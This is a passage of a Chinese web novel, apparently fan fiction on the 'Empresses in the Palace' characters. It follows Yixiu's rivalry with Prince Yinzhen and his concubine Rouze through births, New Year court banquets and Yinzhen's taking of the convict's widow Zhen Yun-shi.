宜修却知道柔则听进去了苗侧福晋的显摆,她笑的更加真切了些:“月份还小,回去后要注意吃食,玉琼院若是有缺的就来正院,请安一事先放一放,等你坐稳了胎也不迟。” 这头和和美美的扬面在胤禛回府后完全变了味道,得知苗侧福晋有孕,胤禛高兴的恨不得跳起来。 在他看来,弘晖心狠和他那额娘不相上下,雨夜求医未果在鬼门关上走一遭,怕是恨上了他这个阿玛。既如此,那便不算是他胤禛的指望。 而柔则的孩子,有息肌丸在前,心思重在后,这些时日他瞒下的觉罗氏的死讯战战兢兢,就怕一个不注意这个他舍弃了大儿子保下的老二就没了。 而且太医断言这是个病弱的无法成事,所以胤禛更寄希望于苗侧福晋的孩子。 大量的赏赐送进了苗侧福晋的玉琼院,流水的补品日日炖了给吃着,宜修瞧着,胤禛这是又弄出来留子去母这一出了? 胤禛还是真是冤枉,他只不过是因着太过期待才有些过头了而已。 而柔则本没有想法,可胤禛的做法叫她难过,如今确实生了恶意。 只不过有甘格格在侧,柔则手里既没有人手也没有钱,自然是什么都做不了。 只是她缠磨胤禛的时间就更多了,偏李静言三人新入府,又是颜色娇嫩的,弄的胤禛分身乏术,这两个月明显能看出力不从心之感。 “这乌侍妾好没脸没皮,爷都在妾身的屋子里睡下了,她大半夜的弹琴又把爷给勾了去。” 李静言恶狠狠的咬了一口宜修准备的蜂蜜脆饼,上头撒了一层芝麻,又香又脆,吃着吃着,连气都消了。 宜修笑了笑,这是山药泥烤制的,专门给弘晖制作的养胃健脾的小零食。 这些是小厨房的第二版,比入了弘晖口的更甜腻些。 “爷自个儿都不嫌费劲,你一个吃了肉的,管她那个愿意喝剩汤子的做什么。” 苗侧福晋和甘格格同时咳嗽了起来,她们是见证了福晋这一路的艰辛,对王爷心有怨恨很正常。只是这话也太糙了些,但是听着好带劲啊。 李静言若有所思的点了点头:“还真是,爷提前走了,妾身早上都不用起早伺候穿衣裳,倒也没什么不好。” 女人只要想的开些,这吃喝不愁的日子就没什么不好过的。 弘晖的夫子是胤禩找来的,学识丰富又不迂腐,弘晖很喜欢听夫子讲课。 这个点正是上课的时辰,宜修把剪秋等人处理好的府务又过了一遍眼,这才悠闲的跟她们说会话。 随着天气变凉,柔则的肚子开始坠坠的难受。 府医一日两趟的跑去清漪阁把脉,生怕这位有个好歹,王爷把他的脑袋摘了。 八个多月,用尽了办法的府医实在留不住这个孩子,柔则躺在产房里,喊的撕心裂肺。 一个侍妾,胤禛愿意自降身份的守着,宜修可不愿。 天黑了又亮,里头的叫喊声也越来越弱。 日头再次西落时,终于有道细弱的哭声传来,胤禛捏了捏潮湿的手心,心里头不知道什么滋味。而宜修踏着落日的余晖而来,身后的霞光叫胤禛有些恍惚。 “王爷,福晋,乌侍妾平安生下小阿哥。” 接生嬷嬷脸上的笑意很勉强,胤禛扒拉开襁褓看了过去,一个瘦小的孩子安静的躺在嬷嬷怀里,脸上有块不小的胎记呈青黑色。 府医擦了擦汗小声道:“王爷,小阿哥的手。” 胤禛深吸了口气,翻开那暗红色的小被子看进去,小小的手掌瞧着正常,但仔细看了才知道,小阿哥有六根手指头。 而此时,李太医从宫里赶了过来。 原来是康熙听说了柔则生产,对李太医所说的孩子有天疾很是惦记。 李太医细细把脉,心里有种不出所料的感觉。 “回王爷的话,小阿哥在母体中吸收了太多的毒素,导致这胎记和天疾。 另外,早产导致身体虚弱不能见风,一定要细细的养着,便是天凉都可能导致小阿哥生病继而......” 留下了调养身子的药方,宜修礼仪周到的把李太医送走,对这个结果很是满意。 “王爷还不去看看乌侍妾?毕竟也是受了大罪。” 宜修的笑容是那么的好懂,她在嘲笑胤禛,嘲笑她为了这么一个不知道能不能养大的儿子想着放弃他聪明伶俐的弘晖。 胤禛转身离开了清漪阁,身后那声虚弱又带了丝颤抖的‘四郎’也没有留住他的脚步。 宜修笑了笑,由着剪秋掀开帘子,里头扑面而来的血腥气叫她捂住了鼻子。 “福晋,王爷呢?” 柔则终于学乖了,在被宜修罚抄了一百遍的府规后再没有喊错过称谓。 “自然是去玉琼院了。” 胤禛真的去了哪里不重要,重要的是,宜修知道柔则听不得什么。就算柔则只能懦弱的迁怒苗侧福晋又怎么样?宜修又不会叫她得逞。 “不会的!王爷不会这样对我的!” 这几个月唯一支撑柔则的,就是胤禛的爱。 可这个孩子降生后,这点偏爱就显得那么不值钱。 “你不能给王爷生下一个健康的孩子,怎么能阻止王爷去看其她人呢?” 这话真是耳熟啊,柔则的泪眼有些模糊,她张了张嘴只看到宜修离开的背影。 ‘妹妹得不了王爷的偏爱,怎么能强留王爷在侧呢?’ 当年柔则入府就是专宠,宜修生孩子时胤禛也只不过来坐了坐。 她疼的想要叫胤禛在外头陪伴,却只得了柔则这一句轻轻凉凉的话。 天理昭昭,报应虽迟但到。 第324 章 宜修9 “到底是王府的喜事,也给底下的奴才们加个菜,好叫他们也跟着添些喜气。” 胤禛越想闭口不提,宜修越要时刻在他耳边提醒。这可是真爱的结晶,不每天念叨百八十遍的,对的起真爱两个字吗? 剪秋完美意会自家主子的用意,就连前院的下人都强忍着笑意感谢了福晋。 “福晋,后头的那位倒夜香的罪仆甄云氏今日也生产了。” 宜修第一次因为府里的琐事停下自己的事,她感兴趣的挑了挑眉,看着剪秋语气里都带了笑意:“哦?这可真是巧了,若不是身份差些,和咱们二阿哥,也可真是青梅竹马的一对呢。” 屋子里的下人都被自家福晋这话逗笑了,他们努力的忍着,在心里告诫自己,受过专业训练的奴才是不会轻易笑出声的! 剪秋的嘴角翘着,但还是颇为担忧的说道:“福晋,这位甄云氏可要......” 她做了一个抹脖子的动作,很明显,如今还年轻的甄云氏那张脸更容易叫人浮想联翩。 宜修挑选着桌子上给弘晖准备的文房四宝,嘴角勾着笑:“何必造这没必要的杀孽?王爷若是喜欢,也臭不着咱们。” 甄云氏是她故意留下的,不是说这母女三人共用一张脸吗? 她也是为了胤禛好。 剪秋突然明白了主子的恶趣味,她不自觉的想到那个场面,有些恶心的掩了掩嘴。 自从觉罗氏去了后,费扬古‘自觉’的把觉罗氏的嫁妆一并收拾给了宜修。如今她的银钱是不缺的,手里也有不少地段繁华的铺子,忍冬对经营有些天赋,宜修着重培养了忍冬做生意的手段。 钱只有放在自己手里才是有用的钱,而自己手里的钱能生钱,才是最大的保障。 “对了福晋,九阿哥弄了些舶来品放到咱们店铺里寄卖,明日就是盘账的日子。” 胤禟为了恶心胤禛,这份毅力是真的很叫宜修佩服。 只要是他能涉及到的方面,总不会放过任何一个细节。 就连这舶来品的生意,胤禟都能舍得放在宜修的店铺里寄卖。为的就是每月盘账时来雍亲王府晃上一圈给胤禛添堵。 “准备些九阿哥爱吃的点心,弘晖前两日还念叨着九叔,这不就来了。” 把杂事都做完,宜修突然想起了什么,转头看向一旁的绘春。 “叫人去前院问问王爷,咱们二阿哥的洗三是个什么章程?毕竟这乌侍妾受宠的很,指不定王爷想要大办一场,说上一句‘爱子’呢!本福晋也不好叫王爷的心意落空不是!” 绘春拍了拍脸把收不拢的嘴角努力拉平,这才迈着轻巧的步伐到了前院。 苏培盛在门口守着,看到绘春赶忙弯腰。 这位可是从侧福晋杀到福晋之位的狠人屋子里的,就连他们王爷现在都拿福晋没办法,他这个太监更不敢端着了。 “绘春姑娘,可是福晋有事?” 绘春侧着身子脸上的表情也越发的恭敬:“是,福晋叫奴婢来问问王爷,二阿哥的洗三可是什么章程,咱们福晋也好张罗起来。” 苏培盛的冷汗在这寒风瑟瑟的天气里顺着脖子往下流,他实在不愿意传这份话,但高无庸被他赶了出去,只能硬着头皮上。 果不其然,胤禛听到苏培盛的回禀直接摔了手里的书。那纸贴着苏培盛的耳朵飞过去,扇的他脸疼。 宜修这是嘲讽没错,但也不算逾矩,最起码在康熙的暗卫看来,四福晋做的有礼有节。 毕竟这位乌侍妾到底是个什么身份大家心里头都有数,为了这个天疾的阿哥放弃弘晖阿哥,保不齐这位王爷想要大办一场,问一句哪里不对? 胤禛生过气后自己坐着冷静了一会儿,他捻了捻手里的珠子轻声说了一句:“不过是个侍妾,在府里办一场就是。” 他在心里告诫自己要忍,二阿哥的情况想必皇阿玛已经知道了,这时候不管是宠爱还是忽视都不对。不如就按照平常来做,总能把这件事的阴云渡过去。 绘春得了准信儿就离开了,只不过心里头还是有些遗憾的。本以为能叫王爷放弃亲子的乌侍妾能有多大本事呢?就这? 雍亲王府西北角的下房住着五个人。 两个婆子,甄云氏,甄玉嬛和一个刚出生的女娃。 这是刷恭桶的屋子,虽然比起其他屋子住着十几个人宽敞的多,但因着工种问题,屋内常年弥漫着一股难以言说的气味。 甄玉嬛好不容易干完了一天的活儿,晚上还要帮着母亲给妹妹洗尿布。 稚嫩的脸上满是疲惫,只是她不敢忘却从前父亲的教导,即使身在囹圄也日日念叨着自己背过的诗词。 她总觉得,自己今后不会一直是这般落魄的。只是想起从前奴仆环绕悠闲清雅的日子,还是会痛恨那个连累了甄家的外室女。 “嬛儿,苦了你了。” 甄云氏是真的后悔,后悔在甄远道把浣碧带回府的那一天没有强硬的把这个孩子扔出去,溺死在恭桶里。 她明明知道浣碧的身世可疑,但为了羞辱甄远道,也为了羞辱外室的那个女人,愣是把这个孩子当做婢女留在了府里。 结果给她和两个女儿招来了这种祸根。甄远道倒是一死了之,留下她们母女三人生不如死。 其实宜修吩咐了两个婆子,并没有给这母女留下太多活计。毕竟,她把这两人留在这里目的只是为了以后恶心胤禛的,若是被磋磨的没了那好颜色,岂不是得不偿失了? 宜修真是期待胤禛发现这母女的一天啊! 外头的风风雨雨和沉迷于学习的弘晖无关,他喜欢八叔给他请的夫子,不太喜欢阿玛给他请的夫子。 是的,胤禛在老八请的夫子入府后才骤然反应过来,他的长子弘晖已经三岁了,需得启蒙才是。 只是弘晖和胤禩请来的李光地已经熟悉,并不愿意再重新适应一个夫子。 乾清宫议事时,胤禩似是闲话家常般说道:“听闻四哥找了夫子给弘晖?” 胤禛看了眼胤禩,面上不显的点了点头。 “这李光地学识深厚,是皇阿玛都赞扬的老臣了,为人严谨,为弘晖启蒙正好,四哥放心就是。” 胤礽这段时间被康熙的猜忌弄的头痛,虽然也讨厌老八,但是老四不痛快他也高兴。 “哦?怎么八弟请了夫子给四弟的儿子?可是四弟有什么难处?跟二哥说,二哥帮你解决。” 康熙在上头冷哼了一声,虽然声音小,但胤礽听的很清。 胤禛被围攻着蛐蛐自然不好受,他冷着脸摇了摇头:“臣弟无碍,多谢太子二哥。” 至于为什么是胤禩给胤禛的儿子请夫子,在场的阿哥都懂,话说半截才有意思,说破了反而无趣。 第325 章 宜修10 二阿哥的洗三到底也没成功办了,天气越来越凉,府医压根不敢叫二阿哥出门。 柔则日日守着二阿哥掉眼泪,不是哭自己命运多舛就是哭二阿哥没人疼。 不过还好,胤禛还是吃这一套的。 柔则有孕后虽然容颜有损,但美人就是美人,即使狼狈着也能吸引男人的眼球。 柔则虽然被养的天真又愚蠢,但也明白自己这个样子,胤禛也不会再叫她有孕了。二阿哥就是她唯一的指望。 扒拉了一下自己所剩无几的体己,这些还是嬷嬷们收拾的时候随意当破烂扔进包袱里的,殊不知这个普通的小盒子,里头装的就是息肌丸。 柔则出了月子就用上了,身体恢复的一日比一日好,容色也越发倾城。 二阿哥满月时,胤禛就不能再捂着了。 好歹也得办一场家宴,虽然并没有打算宴请兄弟们,但出乎意料的收到了不少贺礼。 其中离得近的胤禩和胤禟二人带着礼物上门,胤禛也不好把人撵出去。 虽说为了一个侍妾的孩子来走这一趟有些丢份,但能看一眼这个自出生就被三缄其口的孩子,对胤禟来说,还是很值得的。 “四哥,二阿哥呢?怎么不抱出来叫叔叔们看看?” 本是家宴,但胤禩胤禟来了胤禛只能单独在前院开一桌。 胤禛冷着脸说道:“二阿哥生下来体弱,如今天寒,不能出来见人。九弟若是想见,便等天暖了再说吧。” 胤禛越是拒绝,胤禟就越是好奇。 “话不是这样说的,满月总是个大日子,既然不好抱出来,那叫福晋去看看总行吧?” 话说到这个份上,胤禛实在没办法拒绝。 宜修带着九福晋和八福晋到清漪阁转了一圈,看到了和正常生下来大小差不多的满月二阿哥。 “这孩子也忒受罪了些,娘胎里没养好,现在瞧着病病歪歪的,可真可怜。” 女人到底还是感性一点,就事论事,孩子确实看着可怜。不过再多的,也没有了。有那样一个额娘,今后要遭的罪少不了。 出了月子的孩子已经穿上了小衣裳,九福晋突然看到二阿哥的手,吓的结巴了一下:“这,四嫂。” 宜修拍了拍九福晋的肩膀把人带了出去。 “唉,听李太医的意思,是吃了助孕的药的过,咱们看看就是了,今后当心着。” 宜修说的小声,八福晋被吓的一哆嗦。她这几年为了要孩子可吃了不少药,今后可是不敢了。 至于为什么盛宠的柔则要吃助孕的药,那就得靠她们自家爷们的本事去挖掘了。 总之这话入得她耳,但不能出自她口。 胤禩和胤禟东一句弘晖西一句四嫂,给胤禛脸色上了厚厚的一片黑漆后才酒足饭饱离去。 回到府里头,饶是一向以温和性子示人的胤禩都有些迫不及待的关上房门。 这话得隐蔽着听,和老四斗的再厉害也是自家兄弟,若是把这不该说的露了出去,紫禁城那位可不会轻易放过。 “孩子的脸上有巴掌大块的青斑,这就罢了,九弟妹眼尖,看到二阿哥是六个指头的手。” 胤禩听完皱起的眉头很快就舒展了,当初七哥胤祐因为天跛的脚被排除在争夺之外已经是心照不宣的事。 如今的四哥有了这么一个儿子,怎么不算是天意呢! 八福晋叹了口气:“四嫂那意思,是这侍妾喝了助孕的药才导致孩子有残疾。太可怕了,妾身喝了这么多年,也不知道......” 胤禩听懂了福晋的言外之意,刚放松的眉头又皱了起来。 “无碍,以后咱们不喝了。” 只是不喝药,他连个嫡子都没有,只有弘旺一个儿子。 老四好歹有个嫡子,就算他不喜也是嫡福晋所出。 聪明可爱讨人喜欢。 他呢,还笑话老四,自己也没好到哪去。 这烦心事家家不同,胤禩很快把自个儿的忧虑放在了一边。 八福晋还是有些不解:“爷,按理说当时那位可是受宠的很,何苦吃助孕的药?” 胤禩也觉得奇怪,但是四嫂不说他也理解。 “这事你就别打听了,这宫里若是知道的,除了皇阿玛,约莫也就是太子了。” 别看皇阿玛这几年抽风防备太子防备的紧,但这些不重要的小东小西,还是愿意分享给太子听的。 八福晋点了点头:“妾身心里头有数,只是可怜了四嫂,说不得四哥又要拿四嫂撒气。” 宜修大概也不知道自己的戏份有些过了,不仅给胤禛树立了一个冷漠无情的形象,甚至还叫人觉得他是个不分青红皂白就迁怒的人。 嗯,好像也没错。 这之后就是年节,八福晋和九福晋还特意来找宜修聊天,话里话外不经意的讲了些宫里的规矩和忌讳。 宜修很感谢二人的分享,毕竟在原身这里,确实没有人教导过这些。 “多谢八弟妹和九弟妹了,我知道二位是为了我好。” 八福晋向来风风火火的,被人这样拉着手感激还是第一次,她有些不适应的摸了摸自己的耳坠子。 “四嫂不嫌我们啰嗦就好。” 两个人心里头也是忐忑,毕竟这话说大了,怕四嫂觉得她们看不起人。 “怎会?咱们大清哪有妾室扶正这一规矩,也就是皇阿玛仁善,心疼我这个当额娘的,才破例了一次。二位弟妹不嫌弃四嫂,还如此用心,我岂能不知?” 这话不挑破,永远有正室拿宜修的出身在背后蛐蛐。现在宜修把康熙的神来之笔变成了体恤和仁爱,那就是另一个台阶了。 康熙对别的儿子的监视很疏松,但要是有人夸皇上了,探子们送信就格外的积极。毕竟这是好事,大概率还会领赏。 八福晋和九福晋笑着点头,面上看不出什么,但其实心里一点也不认同。 皇上有多能恶心人她们可太知道了,府里头有孩子了,赏一波妾室吧。开心了,赏一波妾室吧。任职上的事做的好了,赏一波妾室吧。 总之,能给嫡福晋添堵的事,康熙都干。也就是在四哥四嫂这事上英明了一回,还跟她们没甚关系。 年底是最忙碌的时候,宗亲和各位阿哥之间的年礼,府里头一年的收支,外头铺子的盘账盘货,桩桩件件都要处理。 宜修忙的晕头转向的,睡前一打听,胤禛这个狗东西又和柔则在院子里幕天席地的跳舞唱曲你侬我侬起来了。 许是白雪配红梅格外的浪漫?难不成这事真能叫人忘了严寒? 宜修不懂,宜修大为震撼。 还好胤禛府里府外的铺子庄子都在宜修手里握着,这个男人除了在弘晖还小时做个对照组,其余的也没什么大用了。 这样也好,前头的阿哥们打生打死的,参团的都把自己搞废了才好。大的不折里头,小的怎么立起来呢? 第326 章 宜修11 年宴设于乾清宫,鎏金铜炉燃着暹罗进贡的龙涎香,烟气袅袅缠上梁间蟠龙雕饰。六十四张紫檀八仙桌按品级排开,亲王居上首,入八分公次之,汉臣列于末席,无人敢越雷池。 由内务府八色膳房备办的膳食被一串串训练有素的宫女们持黄绸托盘按序布菜,翡翠碗盛着长白山参炖飞龙,金胎掐丝珐琅盘里码着四十八道满汉珍馐。 宜修带着弘晖跟胤禛一大早就起床进宫,在乌雅嫔处和十四一家说了会子话,才在乌雅嫔的带领下到了宁寿宫。 殿角鎏金熏炉里的百草露漫过重重帘幔,妃嫔们按位分列坐于东暖阁,热热闹闹的陪着太后说笑。弘皙等皇孙们打头,先是列队给太后请安,然后挨个说着吉祥话,讨太后的欢心。 石青色绣芍药的裙摆压着描金地毯,移步微微露出脚上的花盆底的鞋头上镶嵌的珍珠,身前的宝石压襟便跟着轻晃,折射出细碎华光。 宜妃鬓边一支赤金点翠步摇垂着数颗珍珠,落座时特意将裙摆向里收了半寸,恰好不越过身旁贵妃的黄色裙摆。 她笑着朝太后说了两句讨巧的话儿,眼珠子一转看向了乌雅嫔身后的宜修。 “臣妾这经常听弘晸念叨着弘晖哥哥,今儿总算是见到了。说起来弘晖也有三岁多了,身子可是养好了?往年总是宝贝的紧,在府里头藏着,也不叫咱们看看。” 太后是听得懂满语的,她一手搂着弘皙另一边靠着弘昇,弘晊和弘昂三人,对宜妃的话不置可否的笑了笑。 虽然手心手背的肉有偏疼,但弘晖再怎么说也是她的重孙,以前觉得胤禛这个孙子冷着脸不好相处,如今更是看不上眼。 “是晖儿身子不好,叫玛嬷们担忧了。” 弘晖有胤?的倾情奉献,在锻炼身体一道也算是有了很大的进益。虽然瞧着还是瘦小些,但最起码脸色红润,瞧着健康多了。 他一本正经的行礼更衬的孩子气十足,即使是一向只认自家娃娃好的后妃,也不由得感慨四福晋是个会养孩子的。 “好孩子,以后多来宫里陪乌库玛嬷说说话,宫里头有你的哥哥姐姐们,热闹。” 弘晖还没有出声,后头的乌雅嫔便道:“弘晖顽皮,太后娘娘喜好安静,若是扰了您的清静就不好了。” 惠妃看了一眼委委屈屈的弘晖心里头冷笑一声:“乌雅嫔这话说的倒有些偏颇了,太后娘娘是最喜欢热闹的。况且本宫瞧着弘晖乖巧,想来乌雅嫔和弘晖不熟,有些误解了吧?” 若说这番不怎么高明的话按理是不会出自乌雅嫔的口中,但这段时日的不顺利叫她有些乱了分寸,这才叫老对头们看了笑话。 太后自始至终就不太喜欢乌雅氏,总觉得跟她说话累的慌。 “哀家不嫌累,弘晖啊,等天儿好些了要常来,乌库玛嬷这里有很多好吃的。” 弘晖抿了抿唇,小心翼翼的觑了眼乌雅嫔才笑着应了下来。 “乌库玛嬷,弘晖可以带弘旺弟弟弘晸弟弟和弘暄弟弟来吗?” 后头的弘旺,弘晸和弘暄听到自己的名字,赶忙站到弘晖身边。 他们四个现在已经结下了深厚的友谊,干什么都喜欢扎堆凑在一起。 谁能想到老四的孩子和老八,老九,老十的儿子玩儿到一起了呢? 宜妃得意的挑了挑眉,看着乌雅嫔好不得意。 乌雅嫔在心里头骂胤禛骂宜修骂弘晖,总之,老四家的都是白眼狼,和老四一样,是养不熟的。 太后却很欢喜,她年纪大了,就喜欢热热闹闹的看这些孩子们在身边说笑,多些人气儿,胃口也好的多。 “好,都来。” 八福晋凑到宜修身边小声的嘟囔:“四嫂,弘晖可真懂事,若是能带着弘旺也读读书就好了。” 虽然弘旺才两岁多些,但已经表现出了听到读书声就瞌睡的毛病,时常叫胤禩愁的解不开眉头的结。 “弘旺还小,有弘晖在前头做着,保不齐什么时候就起了兴趣,只要入了门,就顺当了。” 老十的福晋身子不好,没有出席除夕宴。所以弘暄先是跟着宜妃来到宁寿宫,又和弘旺弘晸一起,在弘晖身边一同玩儿着。 时间差不多了,贵妃佟佳氏起身带着嫔妃和福晋们一起往乾清宫走。 入座后,皇子公主们也相继而来,大殿上瞬间热闹了起来。 宜修的座位旁正好是八阿哥一家,想必是佟贵妃细心安排的,胤禛不满意,但宜修等人都很满意。 “宫宴上,不可喧哗。” 这话说的实在扫兴,本打算来说两句话的三阿哥瞬间退了回去。 忽闻太监唱喏“皇上驾到”,众人齐齐起身,妃嫔们屈膝时环佩叮咚成一片,皇子公主们的请安声整齐划一,琉璃灯的光晕落在各人衣饰的绣纹上,将这满堂锦绣衬得愈发庄重又热闹。 康熙说了一大篇的年终总结,听的宜修神魂出窍。接下来又挨个夸奖了一下儿子,提了一嘴儿媳,再把能说话的大孙子叫出来溜一圈,这准备仪式也就算是走完了。 席间宜修也收到了很多宗亲福晋好奇的目光,虽然她们不理解侧福晋怎么扶正,但她们能想明白,皇上亲自下旨的四福晋,定是有过人之处在身上。 八福晋拉着宜修就近找了老福晋聊天儿,而弘晖被胤?抱走,不顾胤禛的冷脸跑到自己那边玩儿去了。 也就十三瞧着他四哥可怜,端着酒杯凑了过来,不至于叫他孤零零的难看。 “十三,走,跟孤喝两杯去。” 胤礽上前带走了胤祥,并且科普了胤禛一系列的操作后,成功在大年三十得到了一个目瞪口呆的弟弟。 胤礽拍了拍胤祥的肩膀:“孤知道你是个正直的,只是老四实在过分,孤也是怕你被利用了。” 弟弟们大了,有野心了,但胤礽不希望他们成帮结派,他是一个人,那他们都得是一个人。 胤祥面色复杂的看了胤禛一眼,他一直认为兄弟们相争是需要底线的,就像大哥和太子二哥只想弄死彼此而不是弄死彼此的家人一样。 更何况,四哥这是要眼睁睁的看着自己的儿子去死。 如此凉薄的心性,对兄弟们来说可不是一件好事。 被康熙快要逼疯的胤礽无差别的攻击任何一个兄弟,主打一个他不好过谁也别想好过。 只不过胤礽还是太孝顺了,即便内心痛苦千万遍,也从未想过给自家始作俑者的老父亲添堵。 仔细算起来,宜修混迹爱新觉罗氏的后宫没有五百也有四百年了,对这些宗亲福晋的熟悉程度可比它们土著还要更甚。 不怎么高的情商也在世代轮回中渐长,想要和这些人交好简直是易如反掌。 而这边的宜修如鱼得水,那边的弘晖喜笑颜开,只有中间的胤禛无人问津,诶?也不是,胤禛还是有人搭理的,比如咱们的十七阿哥胤礼。 虽然他不过是个屁大点的小孩,但自舒妃病逝后,尝遍了后宫的人情冷暖。想要过的好些,可不就盯上了‘同病相怜’的四哥? 第327 章 宜修12 这年过的就没有清闲的时候,除夕热闹了一圈不算完,初一早上依旧得早早起床到宫里头候着。 还好太后那里准备了吃食和奶茶,好歹没叫人饿着。 忙忙碌碌过了初五,宜修和胤禛都没有说上十句话。 想着去年除夕和菀菀的温情脉脉,胤禛吃了些酒的脑子发着热,在府里头慢悠悠的溜达着。 新年伊始,胤禛却仿佛看不到前头的路,即便和幕僚再三复盘,也找不到一条合适的出路。 满心惆怅,瞧着安静的府邸院落只觉得心口浊气不曾消减。 “是谁在那里?” 隐隐约约看到一个小小的身影,那身量小小的,似是孩童。 胤禛趁着酒气上头寻了过去,只见一个瘦弱但精致的小姑娘。 “奴婢给王爷请安。” 好不容易得了年节的赏赐,甄云氏偷藏了几个以前看不上眼的点心,叫甄玉嬛到外头吃。 屋子里还有别人,母女俩又是个天生矫情喜欢对景抒情的,即便天寒地冻,也愿意叫心头有个寄托。 “你是哪个院子的?” 那眉眼有些似曾相识,胤禛身上的酒气掩盖住了甄玉嬛身上的臭气,这才叫他没有立刻走开。 “奴婢,奴婢是杂役处的。” 胤禛被白酒侵蚀的大脑还是下意识的转了两圈。这么小的孩子,还是杂役处的,那应当是府里买回来的罪臣之女。 前段时间他也有所耳闻,福晋买了甄远道的妻女进府,想来就是面前这位了。 “嬛儿?嬛儿你在哪里?” 甄云氏久不见女儿回屋,便把小女儿放好披上袄子来寻大女儿。 “菀菀?” 胤禛看到甄云氏的第一眼便瞠目结舌,他呢喃着柔则的小字眼神里多了些甄玉嬛看不懂的情绪,怎么会有人如此相像? “奴婢给王爷请安。” 甄云氏虽然没见过雍亲王,但这个点了,还能带着一个太监在府里头来回乱走的男人,不用想就知道是谁。 “起来吧,你们就是甄远道的妻女?” 胤禛的语气有些意味深长,他看着甄云氏那张脸不知道在想些什么。 “是,奴婢正是。” 粗布麻衣,未施脂粉,乌发用布条挽着,和柔则相似却又是另一种感觉。 “苏培盛,罪臣甄远道妻女雪夜受寒高热不退不治而亡。” 甄玉嬛刚想开口说什么,就被甄云氏捂住了嘴。 胤禛满意的点了点头,迈步往前院走去。 苏培盛带着母女三人安顿在前院的偏房里,又叫人抬了热水给三人都洗了个干净才离开。 “娘!咱们……” 甄玉嬛红着眼睛,此时的她岂能看不懂王爷的意思。 可她也实在无法劝说母亲拒绝。 单不说拒绝后还有没有命苟活,只说妹妹玉娆,还这般小,天天在暗无天日的屋子里住着,靠母亲嘴里省出来米汤活着,不为别的,她们得活着才有希望。 甄云氏摸了摸甄玉嬛的头顶,语气里都是无奈和认命:“嬛儿,是娘不好,但是玉娆还小,你也是孩子,娘实在看不得你们难过。” 甄玉嬛拉着母亲的手安慰着:“娘,嬛儿都懂,想必爹爹在天之灵也不会怪罪娘亲,为了女儿和玉娆,委屈娘了。” 其实这三人本没有叫奴仆们专门烧热水的待遇,但谁叫这三人是苏公公带来的呢。 用了五桶热水,两斤的干花瓣,才将将压制住了母女三人身上的臭味。 还好甄玉娆还小,换了衣裳就是。 甄云氏和甄玉嬛可真真是被洗掉了一层皮。 前院的嬷嬷下了狠手,用那粗糙的澡布洗刷了很多次,叫两人直接变身小红人。 好在胤禛还记着明儿也要早起,所以也只是安置了母女三人在偏房里住下。 宜修的人一直盯着甄云氏母女,胤禛这边的动静早就被尽收眼底。 “哦?手脚倒是利索。” 剪秋正在给宜修梳发,绣夏进来说了昨夜的消息。 她挑挑拣拣的在桌上找了对儿金葫芦嵌珐琅的耳坠,对着镜子看了看:“二阿哥虽然身子不好,但如果能现在在二阿哥身边伺候着,可比不清不楚的叫孩子在前院待着好的多。” 绣夏记得认真,可还有些疑惑:“福晋,这甄玉嬛的那张脸……乌侍妾那里能要吗?” 宜修仔细的挑选着今日的口脂,闻言只是轻轻笑了笑:“等甄云氏上了王爷的床,叫咱们的人暗中指点着就是了。” 绣夏还是不太懂,但她听话的就退了出去,剪秋认真的把宜修的发髻梳好才道:“福晋,咱们王爷有这么不是人吗?” 即便甄玉嬛还小,剪秋也能看出来其稚嫩的容貌有那位的影子。 把这样一个姑娘放在自个儿儿子身边?他们王爷有这么不是人吗? 剪秋想到这里恨不得给自己一巴掌,王爷怎么就是人了!她真该死啊! “那跟咱们有什么关系,我就是说说,做不做的,就看王爷了。” 这计划成了,恶心死柔则也恶心死甄玉嬛。这计划不成,她也没什么损失,甄云氏母女现在就是前院的暖床奴婢,根本不需要她过多关注。 “福晋说的是。” 还不等剪秋继续夸下去,门口的江福海来传话:“福晋,玉琼院的惊蛰来了。” 宜修想了想,也是到了苗侧福晋生产的日子了。 果不其然,惊蛰有些惊慌但语气还算镇定的回禀:“福晋,侧福晋晨起时小腹坠痛,接生嬷嬷瞧了,应当是要生了。” 侧福晋这个排面确实够宜修去守一下了。 “叫府医去玉琼院守着,本福晋稍后就去。” 稍微比平常快些的用了早膳,又笑看着八阿哥夫妻俩把弘晖接走一起进宫玩耍,才转身到了苗侧福晋处。 甘格格在门口徘徊,那鞋底子感觉都磨出火星子了。 李静言在里头蜷缩着坐着,听着那阵阵的惨叫吓的小脸苍白。 她年尾时也诊出了身孕,如今听不得这动静,害怕。 看到宜修的身影,李静言像找到主心骨了似的凑过来。 “福晋,生孩子这么痛吗?妾身好害怕。” 宜修冷静的摸了摸李静言的额角:“痛是自然的,只是孩子有了,你不生行吗?” 李静言摇了摇头,委屈巴巴的。 玉琼院还算有条不紊,宜修便带着人坐着喝茶。 一直耗到傍晚,里头的产房里传来一阵哭声。 “恭喜福晋,苗侧福晋平安生下小格格。” 宜修笑了笑,撒了赏叫众人散了去。 胤禛回府接到消息有些失望,他如今越发看不上和胤禩等人玩儿一壶去的弘晖,那没甚前途的二阿哥在他心里也排不上号。 没有去玉琼院,反而到了李静言的锦玉阁。 胤禛的指望从柔则到苗氏,又到了李静言,总结,他从来没有把弘晖放到心上。 只是李静言的孕吐有些严重,对胤禛身上的酒味格外敏感。 “呕!王爷!呕!您身上太味儿了。” 李静言难受的捂着胸口,她怀孕了一直闻的都是香香的福晋,哪里受过这么大的委屈。 胤禛有些气恼有些尴尬:“好了,你好好养胎,爷先回去了。” 看了一眼苗侧福晋和自家大格格,胤禛便叫了甄云氏去伺候。 “今后这雍亲王府,没有甄云氏,也没有甄玉嬛和甄玉娆。” 云雨后,胤禛冷酷的说道。 甄云氏想要垂泪,却还是红着眼睛跪在床上:“请王爷赐名。” 胤禛想了想,捏起甄云氏的下巴说道:“今后,你便是爷从东街买回来的农女,唤绾卿。” 长发绾君心,王爷这名字有其他深意,只是甄云氏,哦不,绾卿未曾想明白。 “至于你那两个女儿,便一同改了,雍亲王府的罪臣之女已经死了,现在留下的,是和你一同买回来的柳月和花影。” 康熙辣评:上不得台面的东西。 第328 章 宜修13 一个只能倚靠胤禛才能过几天好日子的女人,在男人的态度发生一点轻微的变化的时候,就有了猜测。 更何况胤禛的变化并不算小,从前一个月能有半个多月的时间在后院歇着,如今只余了七八天。 更别提床上那事的敷衍和状态,作为以往还能享受到一点快乐的柔则,体验更是明显。 但胤禛在前院养着女人的事并不是什么秘密,柔则也只当有了新鲜的,勾走了她的四郎的精气神。 “芳禾,把那身绣了梅花的衣裳拿来。” 柔则作为侍妾的份例极少,大部分都是胤禛的补贴。 